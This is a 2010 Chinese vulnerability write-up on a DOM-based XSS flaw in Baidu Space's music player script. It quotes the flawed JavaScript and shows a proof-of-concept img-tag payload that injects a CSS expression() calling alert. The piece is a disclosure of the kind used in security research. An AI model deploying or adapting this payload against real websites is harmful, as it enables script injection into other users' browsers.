hi.baidu music Dom-Xss Bug

来源:岁月联盟 编辑:老鹰 时间:2010-05-18

一 综述

百度空间的阅读文章处,JS对博客内容进行DOM操作时,未充分对用户输入的数据进行编码,输出时造成XSS.

二 分析

在http://hi.baidu.com/fc/editor/dialog/fck_music/fck_music_auto.js?v=1.0.js中

(function (){
 //fck init music
 if (window.Node){
  Node.prototype.replaceNode=function (Node){
   this.parentNode.replaceChild(Node, this);
  }
 }
 var isfir=true, imgBox=document.getElementsByName('FCK_MP3_MUSIC');  //获取name为FCK_MP3_MUSIC的HTML标签
 var mp3URL="http://box.baidu.com/widget/flash/bdspacesong.swf";
 for (var i=0, n=imgBox.length ; i<n ; i++){
  var img=imgBox[i];
  if (img.getAttribute('rel')){
   var musicDiv=document.createElement("SPAN");
   var obj=EnP(decodeURIComponent(img.getAttribute('rel'))); //得到rel中的值,进行URL解码,然后传入EnP函数中.EnP作用是把字符串分割后返回一个对象
   img.replaceNode(musicDiv);
   if (obj.autoPlay=='true' && isfir){
    isfir=false;
    obj.autoPlay=true;
   }else{
    obj.autoPlay=false;
   }
   /*****for detail****/
   var hr=location.href;
   if ((hr.lastIndexOf('/blog')+5)==hr.length || (hr.lastIndexOf('/blog/')+6)==hr.length){
    obj.autoPlay=false;
   }
   baidu.swf.create({
    'id' : "mp3player"+Math.random(),
    'width' : "400",
    'height' : "95",
    'ver' : "9.0.0.0",
    'url' : mp3URL+'?'+DeP(obj),    //把上述返回的对象传入DeP函数
    'wmode' : "opaque",
    'allowScriptAccess' : "always",
    'allowNetworking ' : "all"
   },
   musicDiv
   );
   i--;
   n--;
  }
 }
 function EnP(s){
  var obj={
  }, p=s.split("&");
  for (var i=0, n=p.length ; i<n ; i++){
   var t=p[i].split("=");
   obj[t[0]]=t[1]
  }return obj;
 }
 function DeP(s){
  var u="";
  for (var i in s){
   u+='&'+i+'='+encodeURIComponent(s[i]);   //遍历对象,对属性值进行编码,合并成字符串.
  }return u;
 }
})();

通过上述分析可以看到DeP函数仅仅对属性值进行了编码,而对于属性名原样保留,并通过跟踪JS代码发现,baidu.swf.create也未对传入变量进行过滤,引起了XSS.
但利用起来有个小问题.在EnP()函数中,以=为界,把字符串进行分割为属性和值,DeP()函数又把值进行编码.所以如果在XSS处引入等号的话,经过JS处理后,很难起到预计的效果.

三 利用

<img width="400px" height="95px" rel='"></object><STYLE>body{xss:expression(alert(/xss/))!important;}/*=2' src="/fc/editor/skins/default/update/mmlogo.gif" name="FCK_MP3_MUSIC"/>

四 补丁[fix]

等待官方补丁